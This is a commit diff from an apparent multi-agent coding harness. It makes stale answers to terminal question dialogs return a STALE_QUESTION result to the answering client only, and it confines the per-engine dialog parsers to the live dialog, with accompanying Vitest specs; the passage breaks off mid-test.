The ultimate harness for coding agents and beyond. All your agents. All your machines. One command center. Start with code, then follow your curiosity and build across disciplines: CAD, circuits, robots, games and music.
TypeScript 3d-modelingagent-frameworkagent-harnessai-agentscadclaude-codecodexcoding-agentsdeveloper-toolsesp32game-developmentmcp-servermulti-agentopen-hardwareopencodeopenharnesspcbroboticsterminaltmux
WIP: Refuse a question answer that arrives after its dialog changed (#367)
Deefe172ce2f012
diff --git a/cli/src/backendSocket.spec.ts b/cli/src/backendSocket.spec.tsindex 74a526e32..3769d9d2c 100644--- a/cli/src/backendSocket.spec.ts+++ b/cli/src/backendSocket.spec.ts@@ -2801,6 +2801,112 @@ describe('local terminal focus', () => {})})+describe('question_response reports what became of the answer', () => {+ // The answer is keyed into the agent's own terminal, and it can arrive after the dialog it was for has+ // gone — the agent moved on, another client answered. The daemon then types nothing, and the client+ // that answered has to hear why, or it reports "Answered" for an answer that went nowhere.+ afterEach(() => {+ wsMock.instances.length = 0+ vi.restoreAllMocks()+ })++ function harness() {+ const socket = new BackendSocket('token')+ const frames: Array<{ type: string; payload: Record<string, unknown> }> = []+ socket.registerLocalClient('local:hn', { sendFrame: (frame) => { frames.push(frame as { type: string; payload: Record<string, unknown> }); return true }, sendBinary: () => true })+ const dispatch = (payload: Record<string, unknown>) =>+ (socket as any).dispatchDown({ type: 'question_response', payload }, 'local:hn', 'local') as Promise<void>+ const results = () => frames.filter((f) => f.type === 'question_response_result')+ return { socket, dispatch, results }+ }++ it('replies STALE_QUESTION under the question\'s own requestId when the dialog changed first', async () => {+ const { socket, dispatch, results } = harness()+ socket.onQuestionAnswer = vi.fn(async () => ({ ok: false as const, error: 'STALE_QUESTION' as const, detail: 'That question changed before your answer arrived.' }))+ await dispatch({ agentId: 'a1', requestId: 'q_0badf00d', answers: { 'Approve Bash command: ls': 'Yes' } })+ await vi.waitFor(() => expect(results()).toHaveLength(1))+ expect(results()[0].payload).toEqual({ requestId: 'q_0badf00d', error: 'STALE_QUESTION', detail: 'That question changed before your answer arrived.' })+ expect(socket.onQuestionAnswer).toHaveBeenCalledWith({ agentId: 'a1', requestId: 'q_0badf00d', answers: { 'Approve Bash command: ls': 'Yes' } })+ await socket.unregisterLocalClient('local:hn')+ })++ it('replies ok once the answer was typed', async () => {+ const { socket, dispatch, results } = harness()+ socket.onQuestionAnswer = vi.fn(async () => ({ ok: true as const }))+ await dispatch({ agentId: 'a1', requestId: 'q_1', answers: { q: 'Tea' } })+ await vi.waitFor(() => expect(results()).toHaveLength(1))+ expect(results()[0].payload).toEqual({ requestId: 'q_1', ok: true })+ await socket.unregisterLocalClient('local:hn')+ })++ it('tells the window that answered, and no other window', async () => {+ const { socket, dispatch, results } = harness()+ const other: Array<{ type: string }> = []+ socket.registerLocalClient('local:other', { sendFrame: (frame) => { other.push(frame as { type: string }); return true }, sendBinary: () => true })+ socket.onQuestionAnswer = vi.fn(async () => ({ ok: true as const }))+ await dispatch({ agentId: 'a1', requestId: 'q_1', answers: { q: 'Tea' } })+ await vi.waitFor(() => expect(results()).toHaveLength(1))+ expect(other.filter((f) => f.type === 'question_response_result')).toEqual([])+ await socket.unregisterLocalClient('local:other')+ await socket.unregisterLocalClient('local:hn')+ })++ it('answers a relayed answerer alone and sealed — never every window and web client of this machine', async () => {+ // A dial, a phone, or another machine relaying for its app answered over the relay. What became of+ // that answer is its business: broadcast, every window here and every web client of this machine was+ // handed a `question_response_result` for an answer it never gave, in the clear.+ const socket = new BackendSocket('token')+ const windowFrames: Array<{ type: string }> = []+ socket.registerLocalClient('local:window', { sendFrame: (frame) => { windowFrames.push(frame as { type: string }); return true }, sendBinary: () => true })+ const stale = { ok: false as const, error: 'STALE_QUESTION' as const, detail: 'That question changed before your answer arrived.' }+ socket.onQuestionAnswer = vi.fn(async () => stale)+ socket.connect()+ const ws = wsMock.instances[0]+ ws.open()+ vi.spyOn(socket.e2ee, 'hasSession').mockImplementation((connId: string) => connId === 'dial-1')+ const wrapReply = vi.spyOn(socket.e2ee, 'wrapRpcReply').mockReturnValue({+ type: 'question_response_result', payload: { __e2e: { v: 1, k: 'p', n: 1, ct: 'ciphertext' } },+ })++ ws.message(sealedDown(socket, 'dial-1', 'question_response', { requestId: 'q_0badf00d', agentId: 'a1', answers: { q: 'Yes' } }))++ await vi.waitFor(() => {+ expect(wrapReply).toHaveBeenCalledWith('dial-1', 'question_response_result', 'q_0badf00d', { error: stale.error, detail: stale.detail })+ })+ await vi.waitFor(() => {+ const results = parseSent(ws).filter((item) => (item.frame as { type?: string } | undefined)?.type === 'question_response_result')+ expect(results).toEqual([expect.objectContaining({+ targetConnId: 'dial-1',+ frame: { type: 'question_response_result', payload: { __e2e: { v: 1, k: 'p', n: 1, ct: 'ciphertext' } } },+ })])+ })+ expect(socket.onQuestionAnswer).toHaveBeenCalledWith({ requestId: 'q_0badf00d', agentId: 'a1', answers: { q: 'Yes' } })+ expect(windowFrames.filter((f) => f.type === 'question_response_result')).toEqual([])+ await socket.unregisterLocalClient('local:window')+ await socket.stop()+ })++ it('still answers only that connection when its session is gone by the time the answer is typed', async () => {+ // Keying a dialog takes seconds; the answerer can drop in between. Nothing to seal with then — it gets a+ // bare error, addressed to it, and nobody else hears anything.+ const socket = new BackendSocket('token')+ socket.onQuestionAnswer = vi.fn(async () => ({ ok: true as const }))+ socket.connect()+ const ws = wsMock.instances[0]+ ws.open()+ vi.spyOn(socket.e2ee, 'hasSession').mockReturnValue(false)+ ws.message(sealedDown(socket, 'phone-1', 'question_response', { requestId: 'q_1', agentId: 'a1', answers: { q: 'Tea' } }))+ await vi.waitFor(() => {+ const results = parseSent(ws).filter((item) => (item.frame as { type?: string } | undefined)?.type === 'question_response_result')+ expect(results).toEqual([expect.objectContaining({+ targetConnId: 'phone-1',+ frame: { type: 'question_response_result', payload: { requestId: 'q_1', error: 'E2EE_REQUIRED' } },+ })])+ })+ await socket.stop()+ })+})+describe('relay down-frames are default-deny: sealed, or the backend\'s own', () => {// THE RELAY IS NOT TRUSTED. A gate that encrypt-checks a list of "sensitive" types lets every type// missing from the list through in the clear; this one requires a session for everything a client sends.diff --git a/cli/src/backendSocket.ts b/cli/src/backendSocket.tsindex 0b0f3c85a..86e11ff07 100644--- a/cli/src/backendSocket.ts+++ b/cli/src/backendSocket.ts@@ -61,6 +61,7 @@ import { OrchestratorError } from './orchestrator/model.js'import { orchestratorRequest } from './orchestrator/wire.js'import { shellQuote } from './orchestrator/prompts.js'import type { SessionInputDelivery } from './lib/sessionInput.js'+import type { QuestionAnswerResult } from './lib/askQuestion.js'import { engineLabel } from './lib/agentNames.js'import { DSH_ID_RE, dshSupportedEngines } from './dsh/manifest.js'import { refreshDshRegistry } from './dsh/catalog.js'@@ -619,7 +620,7 @@ export class BackendSocket {/** Called when a device answers an AskUserQuestion (`question_response`) — cli.ts drives the CLI's own* terminal dialog (option digit / free text), since a remote machine has no* programmatic answer channel the way the hosted runtime’s brain does. */- onQuestionAnswer: ((payload: { requestId?: string; sessionId?: string; agentId?: string; answers?: Record<string, string> }) => void) | null = null+ onQuestionAnswer: ((payload: { requestId?: string; sessionId?: string; agentId?: string; answers?: Record<string, string> }) => Promise<QuestionAnswerResult> | void) | null = null/** Called when this machine was deleted/revoked (a `machine_revoked` down-frame, or a 401/403 on the* upgrade) — CLI clears the saved SSO session and shuts down instead of retrying forever. */onRevoked: (() => void) | null = null@@ -2796,7 +2797,15 @@ export class BackendSocket {// A device answered an AskUserQuestion. There's no control channel into an interactive CLI, so// cli.ts keys the answer straight into that session's tmux dialog.const p = payload as { requestId?: string; sessionId?: string; agentId?: string; answers?: Record<string, string> }- this.onQuestionAnswer?.(p)+ const answered = this.onQuestionAnswer?.(p)+ // Detached: driving a dialog takes seconds of keystrokes and repaints. The outcome goes back+ // under the QUESTION's requestId, so the client that answered can say why nothing happened —+ // STALE_QUESTION when the dialog changed before the answer arrived and nothing was typed.+ if (answered) {+ void answered+ .then((result) => reply(type, requestId, result.ok ? { ok: true } : { error: result.error, detail: result.detail }))+ .catch(() => reply(type, requestId, { error: 'ANSWER_FAILED', detail: 'The answer could not be entered.' }))+ }return}diff --git a/cli/src/cli.ts b/cli/src/cli.tsindex 71f7a660b..fb3147b2a 100644--- a/cli/src/cli.ts+++ b/cli/src/cli.ts@@ -2649,7 +2649,9 @@ async function runForeground(session: AuthSession | null): Promise<void> {// that gap is exactly where the stale recap used to flash back.const target = payload.sessionId || payload.agentIdif (typeof target === 'string' && target) showAwaitingAnswer(target)- void questions.answer(payload)+ // Returned so the client that answered hears a refusal — STALE_QUESTION when the dialog changed+ // before its answer arrived — as `question_response_result`.+ return questions.answer(payload)}const questionWatcher = new QuestionWatcher({getSession: (id) => registry.resolve(id),@@ -6130,7 +6132,7 @@ async function runForeground(session: AuthSession | null): Promise<void> {// The dial's own object, forwarded verbatim. It used to be rebuilt here as `{ [requestId]: optionId }`// — keyed by the REQUEST id rather than by the question key `onQuestionAnswer` expects, so the answer// named a question that does not exist.- answer: (agentId, requestId, answers) => backend.onQuestionAnswer?.({ agentId, requestId, answers }),+ answer: (agentId, requestId, answers) => { void backend.onQuestionAnswer?.({ agentId, requestId, answers }) },recent: (id, n) => mirror.recent(registry.resolve(id)?.sessionId || id, n),recentAsks: (id) => mirror.recentAsks(registry.resolve(id)?.sessionId || id),runtimeProfile: (session) => runtimeProfiles.selectedModel(session),@@ -6214,7 +6216,7 @@ async function runForeground(session: AuthSession | null): Promise<void> {},cancelDelivery: id => deviceInput.cancelDelivery(id),stop: id => cancelAgent(id, true),- answer: (agentId, requestId, answers) => questions.answer({ agentId, requestId, answers, allowPermissions: false }),+ answer: async (agentId, requestId, answers) => (await questions.answer({ agentId, requestId, answers, allowPermissions: false })).ok,recent: (id, n) => mirror.recent(registry.byAgent(id)?.sessionId ?? id, n),fullText: id => mirror.lastFullText(registry.byAgent(id)?.sessionId ?? id),emit: (frame, deviceId) => backend.emitAutonomousDeviceEvent(frame, deviceId),diff --git a/cli/src/engines/agy/askQuestion.ts b/cli/src/engines/agy/askQuestion.tsindex cc391d7db..1b3de2474 100644--- a/cli/src/engines/agy/askQuestion.ts+++ b/cli/src/engines/agy/askQuestion.ts@@ -24,7 +24,8 @@* Selection is by digit: typing `3` on a live pane picked Blue immediately, with no Enter.*/-import type { PaneView, QuestionRow } from '../../lib/askQuestion.js'+import type { FoundDialog, PaneView, QuestionRow } from '../../lib/askQuestion.js'+import { earlierDialogEnd } from '../../lib/dialogEnd.js'const ESCAPES = /\u001b\[[0-9;:]*[A-Za-z]/g/** `Question 1/1: <text>` — the `N/M` counter is what tells this dialog apart from an echoed prompt. */@@ -42,13 +43,20 @@ const FOOTER = /↑\/↓\s*Navigate/const WRITE_IN = /^write[- ]?in\b/iexport function parseAgyQuestionPane(capture: string): PaneView {+ return locateAgyQuestion(capture)?.view ?? null+}++/** `parseAgyQuestionPane`, with the footer it anchored on. */+export function locateAgyQuestion(capture: string): FoundDialog | null {const lines = capture.replace(ESCAPES, '').split('\n').map((line) => line.trimEnd())const footer = lines.findLastIndex((line) => FOOTER.test(line))if (footer === -1) return null+ // Up to the heading, and never past an earlier dialog's end: its heading is not this one's.+ const floor = earlierDialogEnd(lines, footer, footer)const rows: QuestionRow[] = []let question = ''- for (let i = footer - 1; i >= 0; i--) {+ for (let i = footer - 1; i > floor; i--) {const line = lines[i]if (!line.trim()) continueconst heading = HEADING.exec(line.trim())@@ -63,5 +71,5 @@ export function parseAgyQuestionPane(capture: string): PaneView {rows.unshift({ number: row[1], label: row[2], checked: false })}if (!question || rows.length < 2) return null- return { kind: 'question', question, rows, multi: false, typeRow: null }+ return { view: { kind: 'question', question, rows, multi: false, typeRow: null }, at: footer }}diff --git a/cli/src/engines/amp/askQuestion.ts b/cli/src/engines/amp/askQuestion.tsindex b36af8621..ef66726a9 100644--- a/cli/src/engines/amp/askQuestion.ts+++ b/cli/src/engines/amp/askQuestion.ts@@ -35,6 +35,7 @@*/import type { PaneView, QuestionRow } from '../../lib/askQuestion.js'+import { earlierDialogEnd } from '../../lib/dialogEnd.js'/** The dialog's own footer. `Enter select` is the stable half; a narrow pane truncates from the end. */const FOOTER_RE = /enter select|↑\/↓\/j\/k move/i@@ -85,9 +86,11 @@ export function parseAmpQuestionPane(capture: string): PaneView {}if (footer < 0) return null// The footer regex alone is not enough — the title is what proves this is an approval and not some- // other box that happens to explain its own key bindings.+ // other box that happens to explain its own key bindings. It is this prompt's own title: never one from+ // above an earlier dialog's end.+ const floor = earlierDialogEnd(raw, footer, 60)let title = -1- for (let i = footer - 1; i >= 0 && footer - i < 60; i--) {+ for (let i = footer - 1; i > floor && footer - i < 60; i--) {if (TITLE_RE.test(raw[i])) { title = i; break }}if (title < 0) return nulldiff --git a/cli/src/engines/copilot/askQuestion.ts b/cli/src/engines/copilot/askQuestion.tsindex da033675c..396ff40fb 100644--- a/cli/src/engines/copilot/askQuestion.ts+++ b/cli/src/engines/copilot/askQuestion.ts@@ -24,6 +24,7 @@*/import type { PaneView } from '../../lib/askQuestion.js'+import { earlierDialogEnd } from '../../lib/dialogEnd.js'const ESCAPES = /\u001b\[[0-9;:]*[A-Za-z]/g/** `Copilot is attempting to access the following URL:` / `… to run the following command:` etc. */@@ -35,10 +36,18 @@ const MAX_SUBJECT = 120** Read from the RAW capture rather than the unframed text: unframing flattens the outer dialog border,* and the subject's own inner box is what makes it findable.+ *+ * Only the LIVE dialog's: the nearest "attempting to" above `below` (the line its dialog was anchored on),+ * never one from above an earlier dialog's end. Taken from the first on the pane, an answered prompt's URL+ * in scrollback was stapled to the question under it.*/-export function copilotPromptSubject(capture: string): string | null {+export function copilotPromptSubject(capture: string, below: number): string | null {const lines = capture.replace(ESCAPES, '').split('\n').map((line) => line.trim())- const start = lines.findIndex((line) => ATTEMPT.test(line))+ const floor = earlierDialogEnd(lines, below, below)+ let start = -1+ for (let i = Math.min(below, lines.length) - 1; i > floor; i--) {+ if (ATTEMPT.test(lines[i])) { start = i; break }+ }if (start === -1) return nullconst parts: string[] = []for (let i = start + 1; i < lines.length && i < start + 12; i++) {@@ -57,10 +66,11 @@ export function copilotPromptSubject(capture: string): string | null {return subject ? subject.slice(0, MAX_SUBJECT) : null}-/** Fold the subject into the question so the device shows what is being approved. */-export function withCopilotSubject(view: PaneView, capture: string): PaneView {+/** Fold the subject into the question so the device shows what is being approved. `at` is the line the+ * dialog was anchored on. */+export function withCopilotSubject(view: PaneView, capture: string, at: number): PaneView {if (!view || view.kind !== 'question') return view- const subject = copilotPromptSubject(capture)+ const subject = copilotPromptSubject(capture, at)if (!subject || view.question.includes(subject)) return viewreturn { ...view, question: `${view.question} — ${subject}` }}diff --git a/cli/src/engines/cursor/askQuestion.ts b/cli/src/engines/cursor/askQuestion.tsindex c435da899..25237e8d0 100644--- a/cli/src/engines/cursor/askQuestion.ts+++ b/cli/src/engines/cursor/askQuestion.ts@@ -40,6 +40,7 @@*/import type { PaneView, QuestionRow } from '../../lib/askQuestion.js'+import { earlierDialogEnd } from '../../lib/dialogEnd.js'/** The row's own key hint, always the LAST parenthesis on the line. `[^()]` keeps `Shell(curl)` out. */const ROW_RE = /^\s*(?:[→▶>›]\s*)?(\S.*?)\s*\(([^()]{1,14})\)\s*$/@@ -95,15 +96,17 @@ export function parseCursorPermissionPane(capture: string): PaneView {if (rows.length < 2) return nullif (!rows.some((row) => APPROVE_RE.test(row.label)) || !rows.some((row) => REJECT_RE.test(row.label))) return null- // Above the rows: the prompt, then the frame's rule with the command just under it.+ // Above the rows: the prompt, then the frame's rule with the command just under it — never from above+ // an earlier dialog's end.+ const floor = earlierDialogEnd(lines, start, 14)let prompt = -1- for (let i = start - 1; i >= 0 && start - i <= 6; i--) {+ for (let i = start - 1; i > floor && start - i <= 6; i--) {if (PROMPT_RE.test(lines[i])) { prompt = i; break }}if (prompt < 0) return nulllet command = ''- for (let i = prompt - 1; i >= 0 && prompt - i <= 8; i--) {+ for (let i = prompt - 1; i > floor && prompt - i <= 8; i--) {if (!RULE_RE.test(lines[i])) continuefor (let j = i + 1; j < prompt; j++) {const line = lines[j].trim().replace(/^\$\s*/, '').replace(/\s+/g, ' ')diff --git a/cli/src/engines/devin/askQuestion.ts b/cli/src/engines/devin/askQuestion.tsindex eec33e6c6..a7344ce0f 100644--- a/cli/src/engines/devin/askQuestion.ts+++ b/cli/src/engines/devin/askQuestion.ts@@ -23,7 +23,8 @@* - "Other (type your own)" opens a text editor, so it is never offered as an answerable option.*/-import type { PaneView, QuestionRow } from '../../lib/askQuestion.js'+import type { FoundDialog, PaneView, QuestionRow } from '../../lib/askQuestion.js'+import { earlierDialogEnd } from '../../lib/dialogEnd.js'/** `↑↓ navigate · ␣ toggle · ↵ select · …` — the line that marks a dialog as open. */const FOOTER_RE = /navigate\s*·.*\bselect\b/i@@ -49,13 +50,20 @@ function stripAnsi(value: string): string {* one.*/export function parseDevinQuestionPane(capture: string): PaneView {+ return locateDevinQuestion(capture)?.view ?? null+}++/** `parseDevinQuestionPane`, with the footer it anchored on. */+export function locateDevinQuestion(capture: string): FoundDialog | null {const lines = stripAnsi(capture).replace(/\u00a0/g, ' ').split('\n')const footer = lines.findLastIndex((line) => FOOTER_RE.test(line))if (footer < 0) return null- // Above the footer: the plain closing rule, the rows, then the titled rule that opens the dialog.+ // Above the footer: the plain closing rule, the rows, then the titled rule that opens the dialog —+ // never above an earlier dialog's end, whose titled rule is not this one's.let top = -1- for (let i = footer - 1; i >= 0 && footer - i < 40; i--) {+ const floor = earlierDialogEnd(lines, footer, 40)+ for (let i = footer - 1; i > floor && footer - i < 40; i--) {if (TITLED_RULE_RE.test(lines[i])) { top = i; break }}if (top < 0) return null@@ -82,7 +90,7 @@ export function parseDevinQuestionPane(capture: string): PaneView {if (!rows.length) return null// Devin also states it outright, which covers a dialog whose boxes are off-screen.if (/\(multi-select\)/i.test(question)) multi = true- return { kind: 'question', question: question.replace(/\s*\(multi-select\)\s*$/i, '').trim(), rows, multi, typeRow: null }+ return { view: { kind: 'question', question: question.replace(/\s*\(multi-select\)\s*$/i, '').trim(), rows, multi, typeRow: null }, at: footer }}/**@@ -123,14 +131,21 @@ const APPROVE_RE = /^(yes|allow|approve|accept|proceed|run|continue)\b/iconst REJECT_RE = /^(no|reject|deny|decline|cancel|don'?t|stop)\b/iexport function parseDevinPermissionPane(capture: string): PaneView {+ return locateDevinPermission(capture)?.view ?? null+}++/** `parseDevinPermissionPane`, with the footer it anchored on. */+export function locateDevinPermission(capture: string): FoundDialog | null {const lines = stripAnsi(capture).replace(/ /g, ' ').split('\n')const footer = lines.findLastIndex((line) => PERMISSION_FOOTER_RE.test(line))if (footer < 0) return null- // The rows sit directly above the footer, back to the one numbered 1.+ // The rows sit directly above the footer, back to the one numbered 1. Nothing above an earlier+ // dialog's end is this prompt's: not a row, not the command.const rows: QuestionRow[] = []let start = -1- for (let i = footer - 1; i >= 0 && footer - i <= 20; i--) {+ const floor = earlierDialogEnd(lines, footer, 20)+ for (let i = footer - 1; i > floor && footer - i <= 20; i--) {const match = ROW_RE.exec(lines[i])if (!match) continueconst [, , number, label] = match@@ -146,9 +161,9 @@ export function parseDevinPermissionPane(capture: string): PaneView {// What is being approved: the `$ …` line above the rows. Best-effort, like every other engine's — the// row list is what the answer actually depends on.let command = ''- for (let i = start - 1; i >= 0 && start - i <= 8; i--) {+ for (let i = start - 1; i > floor && start - i <= 8; i--) {const match = COMMAND_RE.exec(lines[i])if (match) { command = match[1]; break }}- return { kind: 'question', question: command ? `Approve ${command}` : 'Approval required', rows: answerable, multi: false, typeRow: null }+ return { view: { kind: 'question', question: command ? `Approve ${command}` : 'Approval required', rows: answerable, multi: false, typeRow: null }, at: footer }}diff --git a/cli/src/engines/grok/askQuestion.ts b/cli/src/engines/grok/askQuestion.tsindex 57986b994..c7374d46f 100644--- a/cli/src/engines/grok/askQuestion.ts+++ b/cli/src/engines/grok/askQuestion.ts@@ -1,4 +1,5 @@import type { PaneView, QuestionRow, QuestionView } from '../../lib/askQuestion.js'+import { earlierDialogEnd } from '../../lib/dialogEnd.js'function stripAnsi(value: string): string {return value.replace(/\u001b\[[0-9;:]*[A-Za-z]/g, '')@@ -32,16 +33,20 @@ function stripAnsi(value: string): string {* `1/3:select` is the range of digits the dialog accepts, and pressing one both selects AND submits here* too \u2014 verified by pressing `2` on a live prompt and watching the command run. The question line the* parser lands on is the COMMAND rather than grok's own one-line summary above it, which is the more- * useful of the two on a device screen.+ * useful of the two on a device screen. Only that footer (`Ctrl+o:always-approve`) or the approval's own+ * first row (`always-approve mode`) marks the dialog a permission prompt, and only on the LIVE dialog: an+ * answered approval still in scrollback made the questionnaire under it read as one.*/export function parseGrokQuestionPane(capture: string): PaneView {const lines = stripAnsi(capture).replace(/\u00a0/g, ' ').split('\n')const footer = lines.findLastIndex((line) => /enter\s*:\s*submit|\d+\/\d+\s*:\s*select/i.test(line))if (footer < 0) return null+ // Nothing above an earlier dialog's end is this dialog's: not a row, not the question.+ const floor = earlierDialogEnd(lines, footer, 28)const rows: QuestionRow[] = []let start = -1- for (let i = footer - 1; i >= 0 && footer - i <= 20; i--) {+ for (let i = footer - 1; i > floor && footer - i <= 20; i--) {const match = /^\s*[┃|]?\s*([0-9a-z])\s+\([^)]*\)\s+(.+?)\s*$/i.exec(lines[i])if (!match) continueconst label = match[2].split(/\s{2,}/)[0].trim()@@ -51,10 +56,12 @@ export function parseGrokQuestionPane(capture: string): PaneView {if (!rows.length || start < 0) return nulllet question = ''- for (let i = start - 1; i >= 0 && start - i <= 8; i--) {+ let top = start+ for (let i = start - 1; i > floor && start - i <= 8; i--) {const line = lines[i].replace(/^\s*[┃|]\s?/, '').trim()if (!line) continuequestion = line+ top = ibreak}if (!question) return null@@ -68,5 +75,6 @@ export function parseGrokQuestionPane(capture: string): PaneView {multi: false,typeRow,}- return view+ // Grok prints this footer only for tool approval, never its questionnaire.+ return /always-approve|Ctrl\+o:/i.test(lines.slice(top).join('\n')) ? { ...view, permission: true } : view}diff --git a/cli/src/engines/kilo/askQuestion.ts b/cli/src/engines/kilo/askQuestion.tsindex 246b2053c..2eefe5473 100644--- a/cli/src/engines/kilo/askQuestion.ts+++ b/cli/src/engines/kilo/askQuestion.ts@@ -36,7 +36,8 @@* between "once" and "always" is a policy decision that belongs to the person, not to this parser.*/-import type { PaneView, QuestionRow } from '../../lib/askQuestion.js'+import type { FoundDialog, PaneView, QuestionRow } from '../../lib/askQuestion.js'+import { earlierDialogEnd } from '../../lib/dialogEnd.js'/** `enter confirm` is the stable half of the footer; `⇆ select` is dropped first on a narrow pane. */const FOOTER_RE = /enter\s+confirm/i@@ -80,6 +81,11 @@ export function kiloSelectionKeys(row: QuestionRow): string[] {}export function parseKiloQuestionPane(capture: string): PaneView {+ return locateKiloQuestion(capture)?.view ?? null+}++/** `parseKiloQuestionPane`, with the footer it anchored on. */+export function locateKiloQuestion(capture: string): FoundDialog | null {const raw = stripAnsi(capture).split('\n')// Anchor on the LAST dialog: a prompt already answered stays in the scrollback above the live one.let footer = -1@@ -87,8 +93,10 @@ export function parseKiloQuestionPane(capture: string): PaneView {if (FOOTER_RE.test(raw[i])) { footer = i; break }}if (footer < 0) return null+ // The title is this prompt's own: never one from above an earlier dialog's end.+ const floor = earlierDialogEnd(raw, footer, 40)let title = -1- for (let i = footer; i >= 0 && footer - i < 40; i--) {+ for (let i = footer; i > floor && footer - i < 40; i--) {if (TITLE_RE.test(raw[i])) { title = i; break }}if (title < 0) return null@@ -132,5 +140,5 @@ export function parseKiloQuestionPane(capture: string): PaneView {break}- return { kind: 'question', question: question || 'Permission required', rows, multi: false, typeRow: null }+ return { view: { kind: 'question', question: question || 'Permission required', rows, multi: false, typeRow: null }, at: footer }}diff --git a/cli/src/engines/muse/askQuestion.ts b/cli/src/engines/muse/askQuestion.tsindex b572152ed..d6b933df6 100644--- a/cli/src/engines/muse/askQuestion.ts+++ b/cli/src/engines/muse/askQuestion.ts@@ -17,7 +17,8 @@* "read the last box" approach would report the hovered option as if the user had picked it.*/-import type { PaneView, QuestionRow } from '../../lib/askQuestion.js'+import type { FoundDialog, PaneView, QuestionRow } from '../../lib/askQuestion.js'+import { earlierDialogEnd } from '../../lib/dialogEnd.js'const ROW_RE = /^\s*[›>]?\s*(\d+)[.)]\s+(.+?)\s*$//**@@ -50,6 +51,11 @@ function labelOf(rest: string): string {}export function parseMuseQuestionPane(capture: string): PaneView {+ return locateMuseQuestion(capture)?.view ?? null+}++/** `parseMuseQuestionPane`, with the footer it anchored on. */+export function locateMuseQuestion(capture: string): FoundDialog | null {const lines = stripAnsi(capture).split('\n')// Anchor on the LAST footer: an answered dialog stays in the scrollback above the live one.let footer = -1@@ -58,9 +64,11 @@ export function parseMuseQuestionPane(capture: string): PaneView {}if (footer < 0) return null+ // Nothing above an earlier dialog's end is this dialog's: not its rows, not its question.+ const floor = earlierDialogEnd(lines, footer, 52)const rows: QuestionRow[] = []let top = footer- for (let i = footer - 1; i >= 0 && footer - i < 40; i--) {+ for (let i = footer - 1; i > floor && footer - i < 40; i--) {const m = ROW_RE.exec(lines[i])if (m) {const label = labelOf(m[2])@@ -74,7 +82,7 @@ export function parseMuseQuestionPane(capture: string): PaneView {// The question is the last non-empty line above the rows that is not part of the preview box.let question = ''- for (let i = top - 1; i >= 0 && top - i < 12; i--) {+ for (let i = top - 1; i > floor && top - i < 12; i--) {const line = lines[i].trim()if (!line) continueif (/^[┌│└├─╭╰]/.test(line) || /^\W*Preview\b/i.test(line)) continue@@ -85,5 +93,5 @@ export function parseMuseQuestionPane(capture: string): PaneView {// muse's dialog is single-select: one Enter commits the highlighted row. `typeRow` stays null — the// only free-text path is "None of the above", which is dropped above for lack of an input on the device.- return { kind: 'question', question, rows, multi: false, typeRow: null }+ return { view: { kind: 'question', question, rows, multi: false, typeRow: null }, at: footer }}diff --git a/cli/src/lib/askQuestion.spec.ts b/cli/src/lib/askQuestion.spec.tsindex 2f5aea9aa..e875085f2 100644--- a/cli/src/lib/askQuestion.spec.ts+++ b/cli/src/lib/askQuestion.spec.ts@@ -1,4 +1,4 @@-import { readFileSync } from 'fs'+import { readdirSync, readFileSync } from 'fs'import { join } from 'path'import { describe, expect, it } from 'vitest'import {@@ -6,7 +6,9 @@ import {matchRow,parseEngineQuestionPane,parseQuestionPane,+ pickAnswer,QuestionWatcher,+ questionRequestId,shapeQuestions,type QuestionView,type ReviewView,@@ -176,72 +178,200 @@ function machine(captures: string[], engine?: string): Machine {const CLOSED = '❯ \n ⏸ plan mode on (shift+tab to cycle)'+/** The requestId the watcher announces this capture under — what a client echoes back with its answer. */+const idOf = (capture: string, engine: Parameters<typeof parseEngineQuestionPane>[0] = 'claude'): string =>+ questionRequestId('s1', asQuestion(parseEngineQuestionPane(engine, capture)))+describe('AskQuestionController.answer', () => {it('presses the option digit for a single-select answer', async () => {const h = machine([fixture('single'), CLOSED])- const ok = await h.controller.answer({ requestId: 'r1', sessionId: 's1', answers: { 'Which drink would you like?': 'Coffee' } })- expect(ok).toBe(true)+ const r = await h.controller.answer({ requestId: idOf(fixture('single')), sessionId: 's1', answers: { 'Which drink would you like?': 'Coffee' } })+ expect(r).toEqual({ ok: true })expect(h.keys).toEqual(['2'])})it('types a voice/free-text answer into the "Type something." row and submits it', async () => {const h = machine([fixture('single'), CLOSED])- const ok = await h.controller.answer({ requestId: 'r1', sessionId: 's1', answers: { 'Which drink would you like?': 'nuoc mia' } })- expect(ok).toBe(true)+ const r = await h.controller.answer({ requestId: idOf(fixture('single')), sessionId: 's1', answers: { 'Which drink would you like?': 'nuoc mia' } })+ expect(r.ok).toBe(true)expect(h.keys).toEqual(['3', 'Enter'])expect(h.texts).toEqual(['nuoc mia'])})it('toggles each selected checkbox then Tabs on, and submits from the review screen', async () => {const h = machine([fixture('multi'), fixture('review')])- const ok = await h.controller.answer({ requestId: 'r1', sessionId: 's1', answers: { 'Which toppings do you want?': 'Cheese, Basil' } })- expect(ok).toBe(true)+ const r = await h.controller.answer({ requestId: idOf(fixture('multi')), sessionId: 's1', answers: { 'Which toppings do you want?': 'Cheese, Basil' } })+ expect(r.ok).toBe(true)expect(h.keys).toEqual(['1', '3', 'Tab', '1'])})- it('answers each question of a multi-question dialog positionally when the text does not match', async () => {+ it('fills a multi-question form in order when the answers name each question', async () => {const h = machine([fixture('tabs'), fixture('single'), CLOSED])- const ok = await h.controller.answer({- requestId: 'r1',+ const r = await h.controller.answer({+ requestId: idOf(fixture('tabs')),sessionId: 's1',- answers: { 'Which colors do you like?': 'Blue', 'Which size do you want?': 'Tea' },+ answers: { 'Which colors do you like?': 'Blue', 'Which drink would you like?': 'Tea' },})- expect(ok).toBe(true)+ expect(r.ok).toBe(true)expect(h.keys).toEqual(['2', 'Tab', '1'])})+ it('never types into a later question of the form that the answers do not name', async () => {+ // Used to be answered POSITIONALLY: the second entry went into whatever question came next, named or+ // not. The form's next screen is a question this answer was never written for — it stays open for the+ // watcher to announce, and whoever sees it answers it.+ const h = machine([fixture('tabs'), fixture('single'), CLOSED])+ const r = await h.controller.answer({+ requestId: idOf(fixture('tabs')),+ sessionId: 's1',+ answers: { 'Which colors do you like?': 'Blue', 'Which size do you want?': 'Tea' },+ })+ expect(r.ok).toBe(true)+ expect(h.keys).toEqual(['2', 'Tab'])+ })+it('leaves a multi-question dialog open on the question the device has not been shown yet', async () => {// The device answers ONE question at a time (the watcher pushes them as the pane advances), so the// drive loop must stop at the next question instead of guessing an answer for it.const h = machine([fixture('tabs'), fixture('single'), CLOSED])- const ok = await h.controller.answer({ requestId: 'r1', sessionId: 's1', answers: { 'Which colors do you like?': 'Blue' } })- expect(ok).toBe(true)+ const r = await h.controller.answer({ requestId: 